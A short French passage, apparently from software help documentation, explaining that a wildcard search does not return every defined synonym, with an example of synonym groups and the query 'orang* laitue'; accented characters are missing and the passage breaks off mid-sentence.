Un caractre gnrique tend une recherche, mais celle-ci ne renvoie pas tous les synonymes, mme si l'expression
recherche contient un synonyme dfini.
Par exemple, si les groupes de synonymes suivants sont dfinis :
fruit, oranges, pommes
choux, laitue
... la recherche de orang* laitue renvoie les lments qui